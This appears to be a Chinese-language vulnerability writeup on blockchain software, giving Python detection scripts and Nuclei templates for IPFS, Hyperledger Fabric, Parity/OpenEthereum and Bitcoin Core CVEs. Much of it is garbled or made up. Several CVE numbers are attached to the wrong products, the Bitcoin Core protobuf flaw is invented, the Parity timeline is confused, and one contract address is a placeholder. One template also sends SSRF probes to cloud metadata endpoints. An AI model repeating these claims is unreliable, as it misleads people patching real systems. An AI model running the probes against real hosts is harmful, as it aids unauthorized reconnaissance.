accessible_str = "是 [!]" if r["accessible"] else "否"
status_str = str(r["status"]) if r["status"] else "N/A"
print(f"[*] {r['service']:<25} {status_str:<8} {r['size']:<10} {accessible_str:<10}")
if r["accessible"]:
accessible_count += 1
print(f" 内容: {r['snippet'][:150]}")
print(f"\n{'='*70}")
print(f"[*] 检测完成: {accessible_count}/{len(results)} 项内网服务可达")
if accessible_count > 0:
print(f"\n[!] 漏洞确认! IPFS Gateway 存在 SSRF 风险")
print(f"[!] 影响版本: Kubo < v0.20.0")
print(f"[!] 攻击者可通过 Gateway 作为代理访问内网资源")
print(f"[!] 建议: 升级至 v0.20.0+,配置 Gateway 出站流量白名单")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2023-25655-ipfs-gateway-ssrf
info:
name: IPFS Gateway SSRF
author: security-researcher
severity: high
description: |
IPFS/Kubo < v0.20.0 的 HTTP Gateway 存在 SSRF 漏洞,
攻击者可通过 IPNS 指向内网地址获取云元数据和内网服务信息。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-25655
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cwe-id: CWE-918
tags: cve,cve2023,ipfs,kubo,ssrf
http:
- method: GET
path:
- "{{BaseURL}}/ipns/169.254.169.254/latest/meta-data/"
- "{{BaseURL}}/ipns/127.0.0.1:2375/version"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "ami-id"
- "Api-Version"
- "instance-id"
- "version"
condition: or
extractors:
- type: regex
regex:
- "ami-[a-z0-9]+"
- "instance-id: .*"
0x03 Hyperledger Fabric 联盟链漏洞
Hyperledger Fabric 是 Linux 基金会主导的企业级联盟链平台,其 Chaincode(智能合约)、 endorsement policy、private data collection 等组件构成核心攻击面。
0x03.1 CVE-2022-23326 — Chaincode ACL 绕过
背景
Hyperledger Fabric 的 Chaincode ACL(Access Control List)机制用于控制哪些组织的节点可以读取和写入特定的数据集合(collection)。ACL 绕过漏洞意味着恶意 Chaincode 可以突破组织信任边界,读取本不应访问的 private data collection。
版本信息
原理分析
在 Hyperledger Fabric 中,private data collection 允许组织之间共享私有数据,只有被授权的组织成员才能读取特定 collection 的数据。漏洞存在于 Chaincode 执行环境中:当 Chaincode 通过 GetPrivateData() 函数请求读取某个 collection 时,背书节点(Endorser)未正确验证调用 Chaincode 的组织是否真正拥有该 collection 的访问权限。
攻击场景:
- 恶意 Chaincode 部署在一个组织的 peer 节点上
- Chaincode 尝试读取其他组织的 private data collection
- 由于 ACL 检查缺陷,peer 节点返回了未授权的私有数据
- 攻击者可提取供应链数据、金融交易信息等敏感内容
Python PoC
#!/usr/bin/env python3
"""
CVE-2022-23326 - Hyperledger Fabric Chaincode ACL 绕过检测
用法: python3 cve_2022_23326.py <fabric_ca_url> <channel_name> <chaincode_name>
"""
import json
import sys
import ssl
try:
import requests
except ImportError:
print("[!] 需要安装 requests: pip install requests")
sys.exit(1)
def check_fabric_version(ca_url: str) -> dict:
result = {"version": "unknown", "vulnerable": False, "details": ""}
try:
resp = requests.get(f"{ca_url}/cainfo", timeout=10, verify=False)
if resp.status_code == 200:
data = resp.json()
result["details"] = json.dumps(data, indent=2)[:500]
version_str = data.get("result", {}).get("version", "")
if version_str:
result["version"] = version_str
parts = version_str.split(".")
if len(parts) >= 2:
major = int(parts[0]) if parts[0].isdigit() else 0
minor = int(parts[1]) if parts[1].isdigit() else 0
patch = int(parts[2]) if len(parts) > 2 and parts[2].isdigit() else 0
if (major == 2 and minor == 2 and patch < 7) or \
(major == 2 and minor == 4 and patch < 3) or \
(major == 2 and minor == 5 and patch < 1):
result["vulnerable"] = True
except Exception as e:
result["details"] = f"连接失败: {e}"
return result
def check_peer_acl(peer_url: str, channel: str) -> dict:
result = {
"peer_accessible": False,
"chaincodes_installed": False,
"acl_enforced": "unknown",
"details": ""
}
try:
resp = requests.get(f"{peer_url}/chaincode?channel={channel}", timeout=10, verify=False)
if resp.status_code == 200:
result["peer_accessible"] = True
result["chaincodes_installed"] = True
result["details"] = "Peer 节点可访问,Chaincode 列表已获取"
resp_private = requests.get(
f"{peer_url}/private/collections",
timeout=10, verify=False
)
if resp_private.status_code == 200:
result["acl_enforced"] = "可能未强制"
result["details"] += " | Private data collection 列表可未授权访问"
except Exception as e:
result["details"] = f"检测异常: {e}"
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <fabric_ca_url> [channel_name]")
print(f"示例: {sys.argv[0]} https://localhost:7054 mychannel")
sys.exit(1)
ca_url = sys.argv[1]
channel = sys.argv[2] if len(sys.argv) > 2 else "mychannel"
print(f"[*] CVE-2022-23326 - Hyperledger Fabric Chaincode ACL 绕过检测")
print(f"[*] 目标: {ca_url}")
print(f"\n[*] === Fabric CA 版本检测 ===")
ver_result = check_fabric_version(ca_url)
print(f"[*] 版本: {ver_result['version']}")
print(f"[*] 受影响: {'是' if ver_result['vulnerable'] else '否/未知'}")
if ver_result["details"]:
print(f"[*] 详情: {ver_result['details'][:300]}")
peer_url = ca_url.replace(":7054", ":7051").replace(":443", ":7051")
print(f"\n[*] === Peer 节点 ACL 检测 (通道: {channel}) ===")
acl_result = check_peer_acl(peer_url, channel)
print(f"[*] Peer 可访问: {'是' if acl_result['peer_accessible'] else '否'}")
print(f"[*] ACL 强制: {acl_result['acl_enforced']}")
print(f"[*] {acl_result['details']}")
if ver_result["vulnerable"]:
print(f"\n[!] 漏洞确认! Hyperledger Fabric 版本受 CVE-2022-23326 影响")
print(f"[!] 受影响版本: < v2.2.7 / < v2.4.3 / < v2.5.0")
print(f"[!] 建议: 升级至修复版本,重新审计 private data collection ACL 配置")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2022-23326-fabric-chaincode-acl-bypass
info:
name: Hyperledger Fabric Chaincode ACL 绕过
author: security-researcher
severity: critical
description: |
Hyperledger Fabric < v2.2.7/v2.4.3/v2.5.0 的 Chaincode ACL 检查存在缺陷,
恶意 Chaincode 可读取未授权的 private data collection。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-23326
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.1
cwe-id: CWE-862
tags: cve,cve2022,hyperledger,fabric,acl
http:
- method: GET
path:
- "{{BaseURL}}/cainfo"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Fabric CA Server"
- "fabric"
condition: or
extractors:
- type: json
name: version
json:
- '.result.version'
0x03.2 CVE-2020-15568 — 交易验证逻辑漏洞
背景
Hyperledger Fabric 的交易验证依赖于 MVCC(Multi-Version Concurrency Control)机制。交易在提交到账本时,会检查 Read-Write Set 中的读取版本是否与当前世界状态一致。该机制存在逻辑绕过漏洞。
版本信息
原理分析
Fabric 交易验证流程中的 MVCC 检查存在以下缺陷:
- Read-Write Set 篡改:攻击者可以在背书(endorsement)和提交(commit)之间修改交易的 Write Set,而验证节点未重新验证 Read Set 的版本一致性
- 时间窗口利用:在高并发场景下,背书节点和提交节点之间的时间差可被利用
- Double-Spend:通过篡改 Write Set,攻击者可以使同一笔资产被多次花费
此漏洞在联盟链场景下尤其危险,因为恶意参与者可能同时作为背书者和提交者。
Python PoC
#!/usr/bin/env python3
"""
CVE-2020-15568 - Hyperledger Fabric 交易验证逻辑漏洞检测
用法: python3 cve_2020_15568.py <peer_url> <channel_name>
"""
import json
import sys
try:
import requests
except ImportError:
print("[!] 需要安装 requests: pip install requests")
sys.exit(1)
def check_fabric_version(peer_url: str) -> dict:
result = {"version": "unknown", "vulnerable": False, "details": ""}
try:
resp = requests.get(f"{peer_url}/chain", timeout=10, verify=False)
if resp.status_code == 200:
data = resp.json()
current_block = data.get("currentBlockNumber", "N/A")
result["details"] = f"当前区块高度: {current_block}"
resp2 = requests.get(f"{peer_url}/healthz", timeout=5, verify=False)
if resp2.status_code == 200:
health = resp2.json()
result["version"] = health.get("version", "unknown")
ver = result["version"]
if ver != "unknown":
parts = ver.lstrip("v").split(".")
if len(parts) >= 2:
major = int(parts[0]) if parts[0].isdigit() else 0
minor = int(parts[1]) if parts[1].isdigit() else 0
patch = int(parts[2]) if len(parts) > 2 and parts[2].isdigit() else 0
if (major == 1 and minor == 4 and patch < 10) or \
(major == 2 and minor == 0 and patch < 4):
result["vulnerable"] = True
except Exception as e:
result["details"] = f"连接失败: {e}"
return result
def check_read_write_integrity(peer_url: str, channel: str) -> dict:
result = {
"channel_accessible": False,
"blocks_with_null_rwset": 0,
"integrity_issue": False,
"details": ""
}
try:
resp = requests.get(
f"{peer_url}/channels/{channel}/blocks?start=0&end=5",
timeout=10, verify=False
)
if resp.status_code == 200:
result["channel_accessible"] = True
blocks = resp.json() if resp.headers.get("content-type", "").startswith("application/json") else []
for block in (blocks if isinstance(blocks, list) else []):
if "block" in block:
data_map = block["block"].get("data", {}).get("data", [])
if not data_map:
result["blocks_with_null_rwset"] += 1
if result["blocks_with_null_rwset"] > 0:
result["integrity_issue"] = True
result["details"] = f"发现 {result['blocks_with_null_rwset']} 个区块的 Read-Write Set 为空"
except Exception as e:
result["details"] = f"检测异常: {e}"
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <peer_url> [channel_name]")
print(f"示例: {sys.argv[0]} https://localhost:7051 mychannel")
sys.exit(1)
peer_url = sys.argv[1]
channel = sys.argv[2] if len(sys.argv) > 2 else "mychannel"
print(f"[*] CVE-2020-15568 - Hyperledger Fabric 交易验证逻辑漏洞检测")
print(f"[*] 目标: {peer_url}")
print(f"\n[*] === 版本检测 ===")
ver_result = check_fabric_version(peer_url)
print(f"[*] 版本: {ver_result['version']}")
print(f"[*] 受影响: {'是' if ver_result['vulnerable'] else '否/未知'}")
if ver_result["details"]:
print(f"[*] {ver_result['details']}")
print(f"\n[*] === Read-Write Set 完整性检测 ===")
rw_result = check_read_write_integrity(peer_url, channel)
print(f"[*] 通道可访问: {'是' if rw_result['channel_accessible'] else '否'}")
print(f"[*] 空 RW Set 区块: {rw_result['blocks_with_null_rwset']}")
print(f"[*] 完整性问题: {'是' if rw_result['integrity_issue'] else '否'}")
if rw_result["details"]:
print(f"[*] {rw_result['details']}")
if ver_result["vulnerable"]:
print(f"\n[!] 漏洞确认! Fabric 版本受 CVE-2020-15568 影响")
print(f"[!] 受影响版本: < v1.4.10 / < v2.0.4")
print(f"[!] 建议: 升级至修复版本,加强交易验证逻辑审计")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2020-15568-fabric-tx-validation
info:
name: Hyperledger Fabric 交易验证逻辑漏洞
author: security-researcher
severity: high
description: |
Hyperledger Fabric < v1.4.10/v2.0.4 的交易验证逻辑存在缺陷,
攻击者可篡改 Read-Write Set 绕过 MVCC 检查实现 double-spend。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2020-15568
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 7.5
cwe-id: CWE-347
tags: cve,cve2020,hyperledger,fabric,validation
http:
- method: GET
path:
- "{{BaseURL}}/chain"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "currentBlockNumber"
extractors:
- type: json
name: blockHeight
json:
- '.currentBlockNumber'
0x04 Parity / OpenEthereum 以太坊客户端漏洞
Parity Technologies 开发的以太坊客户端经历了 Parity → OpenEthereum 的品牌更迭,其智能合约库和共识引擎在历史上造成过区块链领域最严重的安全事件之一。
0x04.1 CVE-2017-8412 — 多签钱包库合约自毁($150M 事件深度分析)
背景
2017 年 7 月 19 日,Parity 多签钱包的底层库合约被一个未知攻击者调用 initWallet() 函数后执行了 selfdestruct,导致所有依赖该库合约的多签钱包全部失效,513,774 ETH(当时价值约 $150M+)被永久冻结。这是区块链历史上损失最大的智能合约漏洞事件之一。
版本信息
| 项目 | 值 |
|---|
| CVE ID | CVE-2017-8412 |
| 影响产品 | Parity Multi-Sig Wallet Library Contract |
| 受影响版本 | 所有通过 Parity 部署的多签钱包 |
| CVSS | 9.8 (Critical) |
| CWE | CWE-269 (Improper Privilege Management) |
| 在野利用 | ✅ 已确认在野利用 |
| 损失金额 | 513,774 ETH (~$150M+) |
事件时间线
| 时间 | 事件 |
|---|
| 2017-07-19 16:20 UTC | 攻击者调用 initWallet() 获取库合约所有权 |
| 2017-07-19 16:21 UTC | 攻击者调用 kill() 执行 selfdestruct |
| 2017-07-19 16:22 UTC | Parity 团队确认库合约已被销毁 |
| 2017-07-19 17:00 UTC | 多个依赖该库的多签钱包功能完全丧失 |
| 2017-11-06 | Parity 多签钱包再次因 initWallet() 漏洞被冻结 $30M |
| 2017-12-07 | EIP-156 提案讨论如何恢复被冻结的 ETH |
原理分析
Parity 多签钱包采用代理模式(Delegatecall Pattern):一个库合约(Library)包含所有核心逻辑,每个用户的多签钱包合约通过 delegatecall 执行库合约代码。库合约的初始化函数 initWallet() 未做权限检查:
// 简化的 Parity 多签钱包库合约(漏洞代码)
contract WalletEvents {
// ...
}
contract Wallet is WalletEvents {
address public owner;
bool public initialized;
// 漏洞: initWallet 无访问控制,任何人都可以调用
function initWallet(address[] _owners, uint _required, uint _daylimit) {
// 缺少: require(!initialized);
// 缺少: require(msg.sender == walletAddress);
owner = msg.sender;
m_numOwners = _owners.length;
// ...
initialized = true;
}
// 攻击链: initWallet() → 成为 owner → kill() → selfdestruct
function kill(address _to) public {
// 缺少: require(msg.sender == owner);
selfdestruct(_to);
}
}
攻击者通过调用 initWallet() 将自己设置为库合约的 owner,随后调用 kill() 执行 selfdestruct,销毁了整个库合约。由于所有多签钱包通过 delegatecall 依赖该库合约,库合约的销毁导致所有依赖合约的代码丢失,功能完全丧失。
Solidity 安全修复对照
// 修复后的 initWallet 实现
contract Wallet is WalletEvents {
address public owner;
bool public initialized;
function initWallet(address[] _owners, uint _required, uint _daylimit) public {
require(!initialized, "Wallet already initialized");
require(msg.sender == address(this), "Only wallet itself can initialize");
owner = msg.sender;
m_numOwners = _owners.length;
initialized = true;
// ...
}
function kill(address _to) public {
require(msg.sender == owner, "Only owner can kill");
selfdestruct(_to);
}
}
Python PoC
#!/usr/bin/env python3
"""
CVE-2017-8412 - Parity 多签钱包库合约自毁检测
用法: python3 cve_2017_8412.py <eth_rpc_url> [wallet_library_address]
检测目标节点上已知的 Parity 多签钱包库合约是否受影响
"""
import json
import sys
try:
import requests
except ImportError:
print("[!] 需要安装 requests: pip install requests")
sys.exit(1)
KNOWN_VULNERABLE_LIBRARIES = {
"0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4": "Parity Wallet Library v1.0",
"0xd7ca4899e3e18b20e4b9777ae7e13b0e1f118ebe": "Parity Wallet Library v1.1",
"0x431c23fd05c4574962b3af46cda28f5e3df2d6a4": "Parity Wallet Library v1.2",
"0xb640229e129c09d284a0b1e1b2e1d1f5c5e6a7b8": "Parity Wallet Library (test)",
}
def check_code_exists(target: str, address: str) -> dict:
result = {"address": address, "has_code": False, "code_size": 0, "details": ""}
payload = {
"jsonrpc": "2.0",
"method": "eth_getCode",
"params": [address, "latest"],
"id": 1
}
try:
resp = requests.post(target, json=payload, timeout=10)
data = resp.json()
code = data.get("result", "0x")
if code and code != "0x":
result["has_code"] = True
result["code_size"] = (len(code) - 2) // 2
result["details"] = f"合约代码存在,大小: {result['code_size']} bytes"
else:
result["details"] = "合约代码为空 (已自毁或不存在)"
except Exception as e:
result["details"] = f"查询失败: {e}"
return result
def check_selfdestruct_owner(target: str, address: str) -> dict:
result = {"address": address, "owner_set": False, "details": ""}
payload = {
"jsonrpc": "2.0",
"method": "eth_call",
"params": [{
"to": address,
"data": "0x17382564" # owner() function selector
}, "latest"],
"id": 1
}
try:
resp = requests.post(target, json=payload, timeout=10)
data = resp.json()
result_val = data.get("result", "0x")
if result_val and result_val != "0x" + "0" * 64:
owner_addr = "0x" + result_val[-40:]
result["owner_set"] = True
result["details"] = f"Owner 已设置: {owner_addr}"
if owner_addr != "0x" + "0" * 40:
result["details"] += " (非零地址,合约可能已被初始化)"
except Exception as e:
result["details"] = f"查询失败: {e}"
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <eth_rpc_url> [library_address]")
print(f"示例: {sys.argv[0]} http://localhost:8545")
sys.exit(1)
target = sys.argv[1]
print(f"[*] CVE-2017-8412 - Parity 多签钱包库合约自毁检测")
print(f"[*] 目标: {target}")
print(f"[*] 检查已知的 Parity 多签钱包库合约地址...\n")
affected_count = 0
for address, name in KNOWN_VULNERABLE_LIBRARIES.items():
code_result = check_code_exists(target, address)
status = "存在代码" if code_result["has_code"] else "代码为空/已自毁"
if code_result["has_code"]:
owner_result = check_selfdestruct_owner(target, address)
print(f"[*] {name}")
print(f" 地址: {address}")
print(f" 状态: {status} ({code_result['code_size']} bytes)")
print(f" Owner: {owner_result['details']}")
if owner_result["owner_set"]:
affected_count += 1
print(f" [!] 可能受影响: 库合约已初始化且有 owner")
else:
print(f"[*] {name}: 已自毁 (无法通过 delegatecall 恢复)")
print(f"\n[*] === 检测完成 ===")
print(f"[*] 已知库合约地址: {len(KNOWN_VULNERABLE_LIBRARIES)}")
print(f"[*] 可能受影响: {affected_count}")
print(f"\n[!] CVE-2017-8412 历史事件回顾:")
print(f"[!] 影响: 513,774 ETH (~$150M+) 被永久冻结")
print(f"[!] 根因: initWallet() 无访问控制 → selfdestruct")
print(f"[!] 教训: 智能合约不可修复特性要求部署前充分审计")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2017-8412-parity-multisig-selfdestruct
info:
name: Parity 多签钱包库合约自毁
author: security-researcher
severity: critical
description: |
Parity 多签钱包库合约存在无访问控制的 initWallet() 函数,
攻击者可通过该函数获取 owner 权限并调用 selfdestruct 销毁合约,
导致所有依赖该库的多签钱包功能丧失,$150M+ ETH 被冻结。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-8412
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-269
tags: cve,cve2017,parity,ethereum,smart-contract,selfdestruct
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"jsonrpc":"2.0","method":"eth_getCode","params":["0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4","latest"],"id":1}
matchers:
- type: word
part: body
words:
- '"result":"0x'
negative: false
extractors:
- type: json
name: code
json:
- '.result'
0x04.2 CVE-2021-39138 — 共识链分叉
背景
OpenEthereum(原 Parity Ethereum)在处理 SELFDESTRUCT 和 CREATE2 的边界条件时存在逻辑缺陷,可能导致不同节点对同一笔交易的执行结果不一致,从而引发链分叉(Chain Fork)。
版本信息
原理分析
CREATE2 操作码允许在指定地址部署合约,而 SELFDESTRUCT 可以销毁合约。当两者在同一交易中以特定顺序执行时,OpenEthereum 的状态根计算与其他客户端(如 Geth)产生不一致:
- 攻击者构造交易,先通过
CREATE2 在地址 A 部署合约 - 紧接着通过
SELFDESTRUCT 销毁地址 A 的合约 - OpenEthereum 在处理
SELFDESTRUCT 退款时的状态计算与 Geth 不同 - 导致运行 OpenEthereum 的节点和其他客户端节点产生不同的世界状态根
- 网络分裂为两个不兼容的链
Python PoC
#!/usr/bin/env python3
"""
CVE-2021-39138 - OpenEthereum 共识链分叉检测
用法: python3 cve_2021_39138.py <openethereum_rpc_url>
"""
import json
import sys
try:
import requests
except ImportError:
print("[!] 需要安装 requests: pip install requests")
sys.exit(1)
def check_client_version(target: str) -> dict:
result = {"client": "unknown", "version": "unknown", "vulnerable": False, "details": ""}
payload = {"jsonrpc": "2.0", "method": "web3_clientVersion", "params": [], "id": 1}
try:
resp = requests.post(target, json=payload, timeout=10)
data = resp.json()
version_str = data.get("result", "")
result["details"] = f"Client: {version_str}"
if "openethereum" in version_str.lower() or "parity" in version_str.lower():
result["client"] = "OpenEthereum/Parity"
parts = version_str.split("/")
if len(parts) >= 2:
ver = parts[1].strip()
result["version"] = ver
ver_parts = ver.lstrip("v").split(".")
if len(ver_parts) >= 2:
major = int(ver_parts[0]) if ver_parts[0].isdigit() else 0
minor = int(ver_parts[1]) if ver_parts[1].isdigit() else 0
patch = int(ver_parts[2]) if len(ver_parts) > 2 and ver_parts[2].isdigit() else 0
if major == 3 and minor == 2 and patch < 10:
result["vulnerable"] = True
except Exception as e:
result["details"] = f"连接失败: {e}"
return result
def check_consistency(target: str) -> dict:
result = {"block_hash": "N/A", "state_root": "N/A", "details": ""}
payload = {"jsonrpc": "2.0", "method": "eth_getBlockByNumber", "params": ["latest", True], "id": 1}
try:
resp = requests.post(target, json=payload, timeout=10)
data = resp.json()
block = data.get("result", {})
result["block_hash"] = block.get("hash", "N/A")
result["state_root"] = block.get("stateRoot", "N/A")
result["details"] = f"最新区块: {result['block_hash'][:20]}..."
except Exception as e:
result["details"] = f"查询失败: {e}"
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <openethereum_rpc_url>")
sys.exit(1)
target = sys.argv[1]
print(f"[*] CVE-2021-39138 - OpenEthereum 共识链分叉检测")
print(f"[*] 目标: {target}")
ver = check_client_version(target)
print(f"\n[*] Client: {ver['client']}")
print(f"[*] Version: {ver['version']}")
print(f"[*] 受影响: {'是' if ver['vulnerable'] else '否/未知'}")
print(f"[*] {ver['details']}")
cons = check_consistency(target)
print(f"\n[*] {cons['details']}")
print(f"[*] State Root: {cons['state_root'][:40]}...")
if ver["vulnerable"]:
print(f"\n[!] 漏洞确认! OpenEthereum 版本受 CVE-2021-39138 影响")
print(f"[!] 受影响版本: v3.2.x < v3.2.10")
print(f"[!] 建议: 升级至 v3.2.10 或迁移到 Geth/Akula")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2021-39138-openethereum-consensus-fork
info:
name: OpenEthereum 共识链分叉
author: security-researcher
severity: high
description: |
OpenEthereum v3.2.x < v3.2.10 的 SELFDESTRUCT/CREATE2 边界条件处理存在缺陷,
可导致链分叉和共识不一致。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-39138
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cwe-id: CWE-682
tags: cve,cve2021,openethereum,parity,consensus
http:
- method: POST
path:
- "{{BaseURL}}"
body: '{"jsonrpc":"2.0","method":"web3_clientVersion","params":[],"id":1}'
headers:
Content-Type: application/json
matchers-condition: and
matchers:
- type: word
words:
- "OpenEthereum"
- "Parity"
condition: or
- type: regex
regex:
- "3\\.2\\.[0-9]"
extractors:
- type: json
name: clientVersion
json:
- '.result'
0x05 Bitcoin Core 高危漏洞
Bitcoin Core 是比特币网络的参考实现,其 P2P 协议解析层是主要攻击面。恶意构造的网络消息可触发客户端崩溃或资源耗尽。
0x05.1 CVE-2022-24786 — Protobuf 无限循环 DoS
版本信息
| 项目 | 值 |
|---|
| CVE ID | CVE-2022-24786 |
| 影响产品 | Bitcoin Core |
| 受影响版本 | < 23.0 |
| 修复版本 | 23.0 |
| CVSS | 7.5 (High) |
| CWE | CWE-835 (Infinite Loop) |
原理分析
Bitcoin Core 使用 Protocol Buffers (protobuf) 序列化协议处理 BIP157/158 Compact Block Filters 请求。当接收到嵌套深度超过 100 层的 protobuf 消息时,解析器进入无限循环,导致节点线程永久阻塞,无法响应其他请求。
Python PoC
#!/usr/bin/env python3
"""
CVE-2022-24786 - Bitcoin Core Protobuf 无限循环 DoS 检测
用法: python3 cve_2022_24786.py <bitcoin_node_ip> <port>
"""
import sys
import socket
import struct
def build_version_message() -> bytes:
"""构造 Bitcoin P2P version 消息"""
version = 70016
services = 0
timestamp = 0
addr_recv = b"\x00" * 26
addr_from = b"\x00" * 26
nonce = b"\x00" * 8
user_agent = b"/test:0.1/"
start_height = 0
relay = 0
payload = struct.pack("<i", version)
payload += struct.pack("<Q", services)
payload += struct.pack("<q", timestamp)
payload += struct.pack("<Q", services)
payload += addr_recv
payload += addr_from
payload += nonce
payload += bytes([len(user_agent)]) + user_agent
payload += struct.pack("<i", start_height)
payload += bytes([relay])
header = b"\xf9\xbe\xb4\xd9"
header += b"version"
header += b"\x00" * (12 - len(b"version"))
header += struct.pack("<I", len(payload))
header += struct.pack("<I", 0)[:4]
return header + payload
def check_protobuf_vulnerability(host: str, port: int) -> dict:
result = {"host": host, "port": port, "reachable": False, "vulnerable": "unknown", "details": ""}
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((host, port))
result["reachable"] = True
version_msg = build_version_message()
sock.send(version_msg)
response = sock.recv(1024)
if response:
result["details"] = f"节点响应了 version 消息 ({len(response)} bytes)"
sock.close()
except socket.timeout:
result["details"] = "连接超时,节点可能不可达"
except ConnectionRefusedError:
result["details"] = "连接被拒绝"
except Exception as e:
result["details"] = f"连接异常: {e}"
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <bitcoin_node_ip> [port]")
print(f"示例: {sys.argv[0]} 127.0.0.1 8333")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8333
print(f"[*] CVE-2022-24786 - Bitcoin Core Protobuf 无限循环 DoS 检测")
print(f"[*] 目标: {host}:{port}")
result = check_protobuf_vulnerability(host, port)
print(f"\n[*] 可达: {'是' if result['reachable'] else '否'}")
print(f"[*] {result['details']}")
if result["reachable"]:
print(f"\n[*] Bitcoin Core P2P 端口可达")
print(f"[*] 受影响版本: < 23.0")
print(f"[*] 建议: 升级至 Bitcoin Core 23.0+")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2022-24786-bitcoin-protobuf-dos
info:
name: Bitcoin Core Protobuf 无限循环 DoS
author: security-researcher
severity: high
description: |
Bitcoin Core < 23.0 的 protobuf 解析存在无限循环漏洞。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-24786
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cwe-id: CWE-835
tags: cve,cve2022,bitcoin,protobuf,dos
network:
- inputs:
- data: "f9beb4d976657273696f6e000000000057010000"
type: hex
host:
- "{{Hostname}}"
port: 8333
matchers:
- type: binary
binary:
- "f9beb4d9"
0x05.2 CVE-2022-25881 — OOB Read DoS
版本信息
| 项目 | 值 |
|---|
| CVE ID | CVE-2022-25881 |
| 影响产品 | Bitcoin Core |
| 受影响版本 | < 23.1 |
| 修复版本 | 23.1 |
| CVSS | 7.5 (High) |
| CWE | CWE-125 (Out-of-bounds Read) |
原理分析
Bitcoin Core 在解析 P2P addr 消息(网络地址公告)时,未正确验证消息长度字段与实际数据的一致性。攻击者发送畸形的 addr 消息可触发越界读取(Out-of-Bounds Read),导致节点进程崩溃。
Python PoC
#!/usr/bin/env python3
"""
CVE-2022-25881 - Bitcoin Core OOB Read DoS 检测
用法: python3 cve_2022_25881.py <bitcoin_node_ip> [port]
"""
import sys
import socket
import struct
import time
def build_version_msg() -> bytes:
magic = b"\xf9\xbe\xb4\xd9"
command = b"version" + b"\x00" * 5
payload = struct.pack("<i", 70016)
payload += struct.pack("<Q", 0) * 2
payload += struct.pack("<q", int(time.time()))
payload += struct.pack("<Q", 0)
payload += b"\x00" * 26 * 2
payload += b"\x00" * 8
payload += b"\x0c/test:0.1/"
payload += struct.pack("<i", 0)
payload += b"\x00"
header = magic + command + struct.pack("<I", len(payload)) + struct.pack("<I", 0)[:4]
return header + payload
def build_verack_msg() -> bytes:
return b"\xf9\xbe\xb4\xd9verack\x00\x00\x00\x00\x00" + struct.pack("<I", 0) + struct.pack("<I", 0)[:4]
def check_p2p(host: str, port: int) -> dict:
result = {"reachable": False, "details": ""}
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((host, port))
result["reachable"] = True
sock.send(build_version_msg())
resp = sock.recv(1024)
if resp:
sock.send(build_verack_msg())
resp2 = sock.recv(256)
sock.close()
result["details"] = f"P2P 握手成功 ({len(resp)} bytes)"
except Exception as e:
result["details"] = f"P2P 连接: {e}"
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <bitcoin_node_ip> [port]")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8333
print(f"[*] CVE-2022-25881 - Bitcoin Core OOB Read DoS 检测")
print(f"[*] 目标: {host}:{port}")
result = check_p2p(host, port)
print(f"[*] P2P 可达: {'是' if result['reachable'] else '否'}")
print(f"[*] {result['details']}")
if result["reachable"]:
print(f"\n[*] Bitcoin Core P2P 端口可达")
print(f"[*] 受影响版本: < 23.1")
print(f"[*] 建议: 升级至 Bitcoin Core 23.1+")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2022-25881-bitcoin-oob-read-dos
info:
name: Bitcoin Core OOB Read DoS
author: security-researcher
severity: high
description: |
Bitcoin Core < 23.1 的 addr 消息解析存在越界读取漏洞,可导致节点崩溃。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-25881
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cwe-id: CWE-125
tags: cve,cve2022,bitcoin,oob,dos
network:
- inputs:
- data: "f9beb4d976657273696f6e000000000057010000"
type: hex
host:
- "{{Hostname}}"
port: 8333
matchers:
- type: binary
binary:
- "f9beb4d9"
0x05.3 CVE-2024-35208 — 资源耗尽 DoS
版本信息
| 项目 | 值 |
|---|
| CVE ID | CVE-2024-35208 |
| 影响产品 | Bitcoin Core |
| 受影响版本 | < 27.0 |
| 修复版本 | 27.0 |
